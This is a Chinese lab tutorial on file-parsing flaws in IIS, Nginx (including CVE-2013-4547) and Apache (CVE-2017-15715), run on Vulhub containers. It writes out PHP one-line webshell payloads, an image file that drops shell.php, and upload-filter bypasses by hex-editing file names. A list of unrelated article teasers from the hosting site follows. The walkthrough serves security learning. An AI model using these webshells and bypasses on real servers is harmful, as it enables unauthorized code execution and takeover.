文件解析漏洞--IIS--Vulhub

文件解析漏洞

一、IIS解析漏洞

用windowserver2003安装IIS测试

1.1 IIS6.X

方法一:目录解析

在网站下建立文件夹的名字为.asp/.asa的文件夹,其目录内的任何扩展名的文件都被IIS当作asp文件来解析并执行。

image-20240730164916230

1.txt文件里是asp文件的语法查看当前时间

image-20240730165151786

image-20240730165251530

方法二:畸形文件解析

​ 在IIS6处理文件解析时,分号可以起到截断的效果。也就是说 shell.asp;.jpg会被服务器看成是shell.asp。另外IIS6.0默认的可执行文件除了asp还包含 asa\cer\cdx。

1.asp;.jpg文件内容为<%=now()%>

image-20240730165502527

image-20240730165616438

1.2 IIS7.X

​ 在IIS7.0和I1S7.5版本下也存在解析漏洞,在默认Fast-CGI开启状况下,在一个文件路径/xx.jpg后面加上/xx.php会将/xx.jpg/xx.php解析为 php 文件。

利用条件
  1. php.ini里的cgi.fix_pathinfo=1 开启
  2. lS7在Fast-CGl运行模式下
环境配置

下载phpstudy

网址:Windows版phpstudy下载 - 小皮面板(phpstudy) (xp.cn)

image-20240730170055760

步骤二:配置 php.ini文件,将cgi.fix_pathinfo=1 前;删除…并重启…

image-20240730170308000

配置IIS的网站

GetShell

步骤一:将PHP一句话木马写到1.php并更改后缀为1.jpg上传到目标站点…利用解析漏洞进行访问…

http://172.16.1.65:8980/1.jpg/.php

下面的1.jpg写的是phpinfo();

image-20240730170758495

第二步:用菜刀、蚁剑连接

1.3:修复方式

#1.程序方面
1、对新建目录文件名进行过滤,不允许新建包含.的文件夹。
2、取消网站后台新建目录的功能,不允许新建目录。#2.服务器方面
1、限制上传目录的脚本执行权限,不允许执行脚本。
2、过滤.asp/xm.jpg,通过ISApi组件过滤。 在httpd.ini加入了以下规则 ASP RewriteRule(.*).asp/(.*)/no.gif RewriteRule(.*).Asp/(.*)/no.gif RewriteRule(.*).aSp/(.*)/no.gif RewriteRule(.*).asP/(.*)/no.gif

二、Nginx解析漏洞

2.1:nginx_parsing

​ 这个解析漏洞其实是PHP CGI的漏洞,在PHP的配置文件中有一个关键的选项cgi.fix_pathinfo默认是开启的,当URL中有不存在的文件,PHP就会向前递归解析。在一个文件/xx.jpg后面加上/.php会将/xx.jpg/xx.php 解析为 php 文件。

利用条件
  • Nginx <=0.8.37
  • cgi.fix_pathinfo=1
利用姿势

Nginx的文件解析漏洞…和I1S7.0的解析漏洞同样的原理,因为 cqi.fix pathinfo=1 造成的解析漏洞…

PS:同样使用1.jpg/.php 方式进行绕过…

案例

步骤一:进入以下Vulhub路径并开启容器…

cd /nginx/nginx_parsing_vulnerability
docker-compose up -d
docker ps -a

步骤二:浏览器中访问网站…

http://192.168.30.131/

image-20240730171709964

步骤三:制作图片码上传

image-20240730171830476

image-20240730171836862

访问图片位置,在后方加上/.php

http://192.168.30.131/uploadfiles/969bd13f5b5a5d582c2a6ef02212b1ae.jpg/.php

image-20240730171928197

步骤四:用蚁剑连接shell

image-20240730172047154

GetShell

步骤一:在shell.jpg中写入以下代码…

GIF89a<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST["cmd"])?>');?>

步骤二:上传该图片并访问…紧接着利用解析漏洞执行其中的PHP代码

http://192.168.30.131/uploadfiles/a7c3ce076585477741d951d179ab07dc.jpg/.php

访问jpg文件后缀加/.php解析成php执行

image-20240730173413299

然后访问shell.php页面为空

image-20240730173436198

蚁剑连接shell

image-20240730173505258

2.2:CVE-2013-4547

​ 此漏洞为文件名逻辑漏洞,该漏洞在上传图片时,修改其16进制编码可使其绕过策略,导致解析为php。当Nginx得到一个用户请求时,首先对url进行解析,进行正则匹配,如果匹配到以.php后缀结尾的文件名,会将请求的PHP文件交给PHP-CGI去解析。

影响版本

Nginx 0.8.411.4.3/1.5.01.5.7

利用姿势

步骤一:使用以下命令启动靶机并通过浏览器访问靶场页面.

cd vulhub-master/nginx/CVE-2013-4547x  //切换到靶机目录
docker-compose up -d     //打开环境
#靶场页面
http://101.42.118.221:8080#info.php
<?php phpinfo();?>

步骤二:直接上传 info.php 被拦截…

修改文件后缀为.jpg进行BP抓包上传—>filename在后面添加空格并给上.php 后,在16进制修改中将原本连个空格的 0x20 0x20 修改为如下即 0x20 0x00 进行发包…

image-20240730182936808

image-20240730183212194

放包后页面上传成功

image-20240730183236064

访问

http://192.168.30.131:8089/uploadfiles/shell.jpg%20%20.php

image-20240730183459480

抓包

image-20240730183527374

将%20%20替换成两空格,然后替换16进制从0x20 0x20 替换成0x20 0x00

image-20240730183714750

image-20240730183737683

放行,访问成功

image-20240730183801981

GetShell

如果上传

<?php @eval($_POST['cmd']);?>

里面有空格无法处理就会变成

image-20240730184050328

我们用这句话上传一个shell.php

<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST["cmd"])?>');?>

用以上的方法加两个空格修改16进制即可

最后可以发现能访问到

image-20240730184457079

image-20240730184557046

蚁剑连接

image-20240730184634137

三、Apache解析漏洞

3.1:apache_parsing

在Apache1.x/2.x中Apache 解析文件的规则是从右到左开始判断解析,如果后缀名为不可识别文件解析就再往左判断。如1.php.xxxxx

利用姿势

步骤一:进入Vulhub靶场并执行以下命令启动靶场…

cd /root/vulhub/httpd/apache_parsing_vulnerability
vi docker-compose.yml 修改端口和版本号
docker-compose up -d

image-20240730185336766

步骤二:访问靶机并上传 shell.php.jpg 文件,文件内容为 phpinfo 函数

image-20240730185621458

image-20240730185631551

3.2:CVE-2017-15715

​ Apache HTTPD是一款HTTP服务器,它可以通过mod_php来运行PHP网页。其2.4.0~2.4.29版本中存在一个解析漏洞,在解析PHP时,1.php\x0A将被按照PHP后缀进行解析,导致绕过一些服务器的安全策略。

影响版本

2.4.0~2.4.29

利用姿势

步骤一:进入Vulhub靶场并开启目标靶机,进行访问…

cd /root/vulhub/httpd/CVE-2017-15715
vi docker-compose.yml  //配置文件,修改端口和版本号
docker-compose up -d //开启

image-20240730190127043

访问

http://192.168.30.131:8091/

image-20240730190313421

步骤二:尝试上传一句话木马文件,发现被拦截…

然后抓包在evil.php后面加上空格,16进制0x20改成0x0a–>放包

image-20240730190639563

image-20240730190714926

访问evil.php文件

image-20240730190755689

蚁剑连接shell

image-20240730190818784

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/387838.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

黑马头条Day11- 实时计算热点文章、KafkaStream

一、今日内容 1. 定时计算与实时计算 2. 今日内容 KafkaStream 什么是流式计算KafkaStream概述KafkaStream入门案例SpringBoot集成KafkaStream 实时计算 用户行为发送消息KafkaStream聚合处理消息更新文章行为数量替换热点文章数据 二、实时流式计算 1. 概念 一般流式计…

【Win10】记一次蓝屏修复

最近电脑蓝屏了好多次&#xff0c;错误代码为&#xff1a;IRQL_NOT_LESS_OR_EQUAL 直接搜这个错误代码不太好找原因&#xff0c;于是按照这篇文章[1]来打开错误日志文件。 需要先在windows的应用商店中下载WinDbg 然后&#xff0c;打开目录 C:\Windows\Minidump &#xff0c;…

“论云原生架构及其应用”写作框架软考高级论文系统架构设计师论文

论文真题 近年来&#xff0c;随着数字化转型不断深入&#xff0c;科技创新与业务发展不断融合&#xff0c;各行各业正在从大工业时代的固化范式进化成面向创新型组织与灵活型业务的崭新模式。在这一背景下&#xff0c;以容器和微服务架构为代表的云原生技术作为云计算服务的新…

CANoe在使用时碰到的一些很少见的Bug

CANoe作为一款成熟且稳定的总线仿真与测试工具&#xff0c;深受汽车工程师们的喜爱。CANoe虽然稳定&#xff0c;但作为一个软件来说&#xff0c;在使用中总会出现一些或大或小的Bug。最近全球范围内的大规模蓝屏事件&#xff0c;是由某个安全软件引起的。而很多CANoe使用者最近…

linux常使用的命令

关机命令 shutdown halt poweroff reboot grep 选项 参数 -l 显示所有包含关键字的文件名 -n 在匹配之前加上行号 -c 只显示匹配的行数 -v 显示不匹配的行 管道符 “|” 左边的输出作为右边的输入 例如&#xff1a;我们找个文件包含abc 但是不含有def的文件 grep …

《如鸢》开通官号,女性向游戏爆款预定

今天&#xff0c;备受瞩目的沉浸式剧情卡牌手游《如鸢》正式开通了官方社媒账号并发布了玩家信。 《如鸢》由灵犀互娱倾力打造&#xff0c;游戏不仅拥有跌宕起伏的权谋剧情&#xff0c;更采用Live2D技术&#xff0c;为玩家带来沉浸式的游戏体验&#xff0c;吸引了众多玩家关注。…

西门子s7第三方(S7netplus)读写操作

和西门子PLC通讯需要使用S7netplus​​这个包&#xff0c;可以在NuGet​​上搜索下载&#xff0c;下载后引入命令空间using S7.Net;​​ 创建PLC对象进行连接使用Write Read进行读写操作即可不需要在发请求帧 //创建Plc对象Plc plc; //西门子设备是s7-1200//参数1 CPu类型//参…

AIGC大模型产品经理高频面试大揭秘‼️

近期有十几个学生在面试大模型产品经理&#xff08;薪资还可以&#xff0c;详情见下图&#xff09;&#xff0c;根据他们面试&#xff08;包括1-4面&#xff09;中出现高频大于3次的问题汇总如下&#xff0c;一共32道题目&#xff08;有答案&#xff09;。 29.讲讲T5和Bart的区…

kubernetes管理GUI工具Lens

从github上可以知道&#xff0c;lens的前端是用electron做的客户端工具&#xff0c;打开安装路径你会发现kubectl.exe,没错&#xff0c;就是你经常用的kubectl命令行的客户端工具。kubectl本来就能输出json的数据类型&#xff0c;集成前端更方便了。看到这里你是不是发现&#…

怎么给电脑选一款合适的固态硬盘?就看这个参数!

前言 前段时间有很多小伙伴找小白修电脑&#xff0c;在修电脑的过程中&#xff0c;小白也会稍微看一下硬件配置。 小白就发现一个事情&#xff1a;很多小伙伴其实都不太懂电脑硬件。 为啥这么说呢&#xff1f;简单来说就是主板上使用了“不合适”的固态硬盘作为主系统硬盘。…

VSCode+Vue3无法找到模块“../components/xxxxx.vue”的声明文件的错误

莫名奇妙的错误 今天用Vue3写个demo&#xff0c;在components下面新建了一个DeviceList.Vue的文件&#xff0c;在HomeView引用它后居然报错&#xff0c;提示&#xff1a;无法找到模块“…/components/DeviceList.vue”的声明文件&#xff0c;真是离了个大谱&#xff0c;文件明…

C# Unity 面向对象补全计划 之 访问修饰符

本文仅作学习笔记与交流&#xff0c;不作任何商业用途&#xff0c;作者能力有限&#xff0c;如有不足还请斧正 本系列旨在通过补全学习之后&#xff0c;给出任意类图都能实现并做到逻辑上严丝合缝

人工智能的现状与未来展望

随着科技的飞速发展&#xff0c;人工智能逐渐成为人们关注的焦点。本文将分析当前人工智能的发展现状&#xff0c;并展望其未来的发展趋势。 一、引言 近年来&#xff0c;人工智能在全球范围内得到了广泛关注。作为一项具有广泛应用前景的技术&#xff0c;人工智能正在改变着…

仕考网:公务员可以报考军队文职吗?

公务员可以报考军队文职考试&#xff0c;但是需要满足前提条件。 对于已经与国家、地方的用人单位建立劳动关系的社会人才&#xff0c;在获得当前用人单位的许可后才可以申请报考。 在面试过程中&#xff0c;考生必须出示一份由其用人单位出具的且加盖公章的同意报考证明。一…

24导游证报名照片要求是什么❓整理好了❗

24导游证报名照片要求是什么❓整理好了❗ 导游资格考试今天开始报名啦&#xff01; ⚠️考生们注意&#xff0c;需要上传免冠证件照、身份证扫描件、学历证明等照片信息&#xff01; ⚠️这里需要注意一下上传的照片文件信息规格&#xff0c;否则上传失败&#xff0c;无法完…

计算机网络HTTP全讲解,让你透彻掌握HTTP协议(三)http长短连接/代理/网关/缓存/内容协商机制/断点续传

HTTP HTTP的长连接与短连接短链接长链接HTTP代理代理的作用HTTP网关web网关常见的网关类型HTTP缓存HTTP缓存头部字段HTTP缓存工作方式缓存改进方案cdn缓存工作方式浏览器操作对http缓存的影响HTTP内容协商机制客户端驱动服务器驱动请求首部集近似匹配透明协商断点续传和多线程下…

mysql 慢查询调优实战——between and

现象 SQL报警慢查询 原SQL select * from awards_record WHERE ( create_time between 2024-07-01 00:00:00 and 2024-07-30 00:18:58.004)索引信息 KEY idx_createtime (create_time) USING BTREEexplain分析&#xff0c;发现没走上面的索引 原因 查询数据时&#xff0…

PHP反序列化漏洞从入门到深入8k图文介绍,以及phar伪协议的利用

文章参考&#xff1a;w肝了两天&#xff01;PHP反序列化漏洞从入门到深入8k图文介绍&#xff0c;以及phar伪协议的利用 前言 本文内容主要分为三个部分&#xff1a;原理详解、漏洞练习和防御方法。这是一篇针对PHP反序列化入门者的手把手教学文章&#xff0c;特别适合刚接触PH…

Java学习Day19:基础篇9

包 final 权限修饰符 空着不写是default&#xff01; 代码块 1.静态代码块 1.静态代码块优于空参构造方法 2.静态调用只被加载一次&#xff1b; 静态代码块在Java中是一个重要的特性&#xff0c;它主要用于类的初始化操作&#xff0c;并且随着类的加载而执行&#xff0c;且只…

Kafka知识总结(分区机制+压缩机制+拦截器+副本机制)

文章收录在网站&#xff1a;http://hardyfish.top/ 文章收录在网站&#xff1a;http://hardyfish.top/ 文章收录在网站&#xff1a;http://hardyfish.top/ 文章收录在网站&#xff1a;http://hardyfish.top/ 分区机制 分区策略 分区策略是决定生产者将消息发送到哪个分区的…